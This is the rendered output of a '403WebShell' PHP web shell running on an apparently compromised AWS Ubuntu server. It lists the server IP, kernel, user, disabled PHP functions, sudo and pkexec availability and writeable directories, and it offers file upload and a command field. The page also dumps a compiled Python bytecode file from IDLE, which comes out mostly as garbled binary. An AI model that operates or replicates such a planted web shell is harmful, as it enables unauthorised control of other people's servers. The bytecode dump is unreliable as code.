Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.10/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.10/idlelib/__pycache__/autoexpand.cpython-310.pyc
o

�9j��@sJdZddlZddlZGdd�d�Zedkr#ddlmZeddd	�dSdS)
a=Complete the current word before the cursor with words in the editor.

Each menu selection or shortcut key selection replaces the word with a
different word with the same prefix. The search for matches begins
before the target and moves toward the top of the editor. It then starts
after the cursor and moves down. It then returns to the original word and
the cycle starts again.

Changing the current text line or leaving the cursor in a different
place before requesting the next selection causes AutoExpand to reset
its state.

There is only one instance of Autoexpand.
�Nc@s<eZdZejejdZdd�Zdd�Zdd�Z	dd	�Z
d
S)�
AutoExpand�_cCs|j|_|jj|_d|_dS)N)�text�bell�state)�self�editwin�r	�)/usr/lib/python3.10/idlelib/autoexpand.py�__init__s

zAutoExpand.__init__c
Cs�|j�d�}|j�dd�}|js|��}d}n|j\}}}}||ks&||kr,|��}d}|s4|��dS|��}|j�dt|�d�||}	|dt|�}|dkrW|��|j�	d|	�|j�d�}|j�dd�}||||f|_dS)z1Replace the current word with the next expansion.�insert�insert linestartzinsert lineendr�breakzinsert - %d chars�)
r�index�getr�getwordsr�getprevword�delete�lenr)
r�event�	curinsert�curline�wordsrr�line�word�newwordr	r	r
�expand_word_events.zAutoExpand.expand_word_eventc	Cs�|��}|sgS|j�dd�}t�d|d|�}~|j�dd�}t�d|d|�}~|s2|s2gSg}i}|��|D]}|�|�rDq<|�|�|||<q<|D]}|�|�rXqP|�|�|||<qP|�|�|S)z?Return a list of words that match the prefix before the cursor.z1.0zinsert wordstartz\bz\w+\bzinsert wordend�end)rrr�re�findall�reverse�append)	rr�before�wbefore�after�wafterr�dict�wr	r	r
r6s4






zAutoExpand.getwordscCs^|j�dd�}t|�}|dkr)||d|jvr)|d}|dkr)||d|jvs||d�S)z)Return the word prefix before the cursor.r
rrrN)rrr�	wordchars)rr�ir	r	r
rUs�zAutoExpand.getprevwordN)�__name__�
__module__�__qualname__�string�
ascii_letters�digitsr)rrrrr	r	r	r
rsr�__main__)�mainz!idlelib.idle_test.test_autoexpand�)�	verbosity)�__doc__rr.rr+�unittestr2r	r	r	r
�<module>sK�

Youez - 2016 - github.com/yon3zu
LinuXploit